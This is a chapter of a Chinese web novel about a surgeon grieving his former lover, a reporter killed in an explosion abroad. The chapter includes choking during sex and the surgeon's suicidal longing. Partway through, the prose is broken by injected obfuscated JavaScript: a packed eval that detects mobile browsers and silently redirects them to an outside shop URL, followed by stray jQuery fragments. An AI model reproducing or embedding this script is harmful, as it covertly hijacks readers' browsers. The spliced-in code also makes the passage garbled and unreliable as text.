“您好，我是欧光洲。”
六千公里之外，祁阳听着电话，擦血的手一顿。
“请问林野现在是什么情况？”
祁阳下意识看向已经被装进敛尸袋里的人，喉头堵到发不出声音。
欧光洲又问：“可以让他接电话吗？”
祁阳替林野擦干净脸上最后一丝血迹，救援人员拉上了敛尸袋。
“请问，能听到吗？”
祁阳用力清了一下嗓子，用充满鼻音的声音回答：“可以听到。”
欧光洲似乎有所预感，沉默了一秒，问：“是出什么事了吗？”
祁阳答：“遭遇爆炸波及，半小时前走了。”
其实祁阳还是没有实感，尽管林野已经被装进了敛尸袋，但是似乎只要不说出来，一切都还算不得真。
欧光洲这通电话一来，他把丧一报，似乎一切就都没有了转圜的余地，一下子就天崩地裂了起来。
给公司报丧的时候也没有这么难过啊，大概是因为林野到死也没能等到欧光洲的电话的缘故吧？
祁阳又开始掉眼泪，控诉一般，声音越来越不受控制：“你知道林哥等了你多久吗？你知道他不清醒的时候反反复复提你吗？可是到最后他也没等到你的电话！”
“也太晚了吧！我说你哪怕早半小时呢！”
对面的崩溃犹如实质，泥石流般顺着手机爆发过来。
欧光洲有些拿不稳手机。
林野，遭遇爆炸。
走了。
他知道意思，但组合起来得到的讯息，让他不愿也不敢去相信。
电话对面的人似乎调整了一下情绪，跟欧光洲道歉：“抱歉欧医生，我一时接受不了，不是冲您。跟您说一下前因后果。”
“……
“林哥本人意愿是骨灰回国。到时候我们会出具报告书，葬礼也会联系到您。
“林哥给您带了一句话，让您好好吃饭，好好睡觉。”
“这边还有事，先挂了。”
欧光洲耳内轰鸣。
他十二岁那年就认识了林野，那年林野十一。
十一岁的林野好生可怜，妈妈死了爸爸常年不回家，无依无靠的总受霸凌。他看不过去将人护在身边，后来护出了感情。
同一所初中，同一所高中，同一所顶尖大学，最后走到了一起。
开始是他告的白，最后也是他提的分手，分的那天林野哭得很崩溃。
但他没回头。
从分手那天起，整整八年，他们的人生就再无交集，即使他们没有删掉联系方式。
他特别后悔遇到林野，倘若重新给他一次机会，他不要在十二岁那年遇到林野，更不要与林野产生任何交集。
有些坎，终其一生越不过去。
继续苟且在一起，何尝不是一种对亡者的背叛。
然而今天，有人告诉他林野死了，死在了六千公里外的异国。
死前试图联系他。
而他没能接到电话。
欧光洲情感上还是不相信，胸口却已经开始空得发疼。
他终于打开微信，给八年未曾联系的林野去了一条消息：
【-回我。】
没人回复。
【-有人说你出事了，看到了回复我。】
还是没人回复。
煎熬。
欧光洲很多年没这么焦躁过，这份焦躁促使他点进了林野的朋友圈。
林野这几年的朋友圈很有规律，一年12条：每个月1号会发一条，基本上是上月总结。
看林野一条朋友圈，就像是开了跟随视角，跟着他过完一个月。
此前欧光洲屏蔽了林野朋友圈，无他，他拒绝接触与林野有关的一切，拒绝林野会带来的任何情绪波动，当然不会去看一月一次的朋友圈。
欧光洲在办公室足足呆坐了一小时。
回家路上开错了道，闯了红灯。
一直到深夜，林野那边还是毫无动静。
欧光洲迷迷糊糊睡着，半夜忽然又大汗淋漓地惊醒，摸手机看。
昏暗的手机屏幕上，除了一些工作群里的消息，还是没有林野的回复。
第二天，欧光洲判断了自己的状态，灌了高浓度的咖啡，上了手术台。
做完手术，收到祁阳的消息——
虽然后来单位争取让林野遗体回国，但经过评估，难度太大，不管是遗体保存还是目前形势。
最终结果是办完手续后进行火化，骨灰一周内运回国，举办葬礼。
欧光洲一直拒绝相信，直到一周后等回了林野的骨灰。
一起回来的还有林野的一应遗物：损毁的记者证、屏幕裂了的私人手机。
甚至还有一份公证过的遗嘱，名下所有财产，一半捐赠，一半给欧光洲，公证时间是林野去C国前——20x5年7月。
葬礼紧随其后。
来了很多人前来送行。
祁阳也一道回来了，他形容憔悴，眼眶通红，看上去好生伤心。
他对欧光洲说：“你好好送送他。”
又给了欧光洲一只优盘：“里面有几段视频，记录了他……林哥的最后三小时，没有拍脸。”
欧光洲握着优盘，木然坐在角落，从头沉默到尾。
林野的遗照眉眼含笑，越过人群，与他遥遥对视。
说不上来什么感觉，接触到照片上人的眼睛瞬间，有尖刀毫无征兆地冲着他的灵魂刺了一下，痛得他直不起腰。
足足一分钟，世界轰然作响，欧光洲什么也看不清。
不对，不应该。
他虽然每天都会想起来林野这个人，每天几遍，像是一日三餐那样平常。虽然偶尔想到漫漫人生，和这个人再无交集，心脏会揪成一团。但都是淡淡的，持续时间也不长，也就十来秒，然后一切又会归于平静。
然而现在，他忽然意识到林野真的死了。
死，是什么呢？是眼睛合上，失去了温度，发不出声音，身体被烧成了灰，被埋进了地下。
这辈子，他再也见不到他了。
他甚至没能见到他的遗容，只见到了装着他烧成的灰的盒子。
平铺天际的乌云接替了万里晴空，密布的潮湿吞噬了最后一丝阳光，阳墩市被笼进了巨大的雨幕。
林野的葬礼结束了。
欧光洲开始不社交，不休假，手术量暴增。
甚至同事都察觉出了不对劲，劝他休假，但他拒绝休息。
他开始用林野填满工作之余。
林野的手机密码没换过，还是当年他们在一起用的，欧光洲很容易就解锁了。
打开V信，收到了来自很多人的很多条未读消息，或着急，或不相信，或伤心。
聊天界面的置顶位置，是欧光洲。
打开对话框，里面只有空空荡荡的两条信息——
【-回我。】
【-有人说你出事了，看到了回复我。】
再拿林野的号点进他自己的朋友圈，欧光洲发现了林野满屏的朋友圈，仅他可见。
还有什么不明白的呢？
他和林野实在都算不得什么心理特别健康的人，都有比较严重的分离焦虑。
分手三个月后，林野开始以一个月一条的频率发朋友圈，展示自己的生活——大概是在照顾他的分离焦虑。
而他是个逃避的混账
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17753649|209469||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，直接屏蔽，所以他基本没看过。
不仅如此，他吝啬得很，从不肯向林野展示自己的生活。
一经分手，他立刻干干净净消失在了林野的世界。
哦，不对，分手半个月后，他和林野还是见过一面的。
林野难以忍受分手的痛苦，联系了他，说想和他一起吃顿饭，他答应了。
那顿饭最后吃到了床上。
那是场极致的□□，痛苦绝望，情到最浓处，欧光洲脑子里出现了疯狂可怕的想法：要是活着无法在一起，那么一起下地狱吧，算作一起赎罪。
他扼住了脆弱的脖颈，用力，几乎要将它掐断。而林野任凭他动作，完全没有反抗，引颈就戮。
他是疯子。
林野已然不堪承受，却仍旧毫不反抗，林野也是疯子。
最后，欧光洲松了力道。
他记得林野呛咳了很久，颤抖到快要支撑不了继续说话，根根睫毛遮掩下的瞳孔深处却像是燃起了幽火：“是不是我死了，你就能原谅我……”
欧光洲将他的声音撞碎：“不，你死了我更不原谅。”
那是他们最后一次见面。
他以为自此生离，没想到，竟成了死别。
一晃八年。
八年后的现在，欧光洲一遍遍地看林野的朋友圈，看林野的采访视频，反反复复去听这个人留下的声音，去描摹这个人的轮廓。
在现实，在梦里，在半睡半醒里。
欧光洲的睡眠开始变得更糟糕，某天夜里，他照常从半睡半醒中惊醒，却比以往任何一次都难捱——心脏处像被谁用大剪刀豁开了一道口子，热血往外冒，冷风往里灌。
冷极了。
那时候他忽然很想去陪陪林野，一刻都等不及。
欧光洲穿上外套，赶到林野的墓前，挨着墓碑坐。
又伸手去触碰照片上林野的脸颊，对他说：“我手头还有几台手术要做，一个月，等做完了，想好好休息。”
“我好像一直在做错事，遇到你，害死了我妈。跟你分了手，好像又害死了你。我既对不起我妈，也对不起你。
“你再等等我。”
如此，又一个月过去，欧光洲才去看了优盘里的内容。
镜头对着一堆碎石，背景有爆炸声，能听到林野的声音。
多数时候林野说话不多，但偶尔会说：“我要给欧光洲打电话。”
有声音问：“欧光洲是谁？”
他听见林野沉默，然后林野说：“我哥。”
我哥。
是他让林野喊的哥，因为少时坚信，哥哥会一辈子保护弟弟。
虽然最后他并没有办到。
欧光洲打开最后一段视频。
那是林野的最后时期，听得出来，已经处于回光返照阶段。
镜头里，林野胸腹都是血，顺着绷带渗出来，染红了绷带，也染红了林野的指尖。
林野在和祁阳说工作，说安全。
镜头一闪而过，模糊地拍到了林野半张脸。
欧光洲的心脏已然麻木，却还是无法避免地疼痛起来，他反复回拉、暂停视频，却怎么也无法窥见林野那时的神情。
他几乎就要升起疯狂的偏执来，想要立刻去到林野那边，亲自去问，亲自去看。但林野最后那句“好好吃饭好好睡觉”拽住了他——
林野要求他的从来不多，这么一点要求，他总该答应。
关掉视频，欧光洲去了母亲卞真和女士的墓前，献了束花，陪着说了会儿话。
最后，他去看了林野，在林野墓前坐了一夜。
三个月后，欧光洲作为一名无国界救援组织的医生，奔赴C国。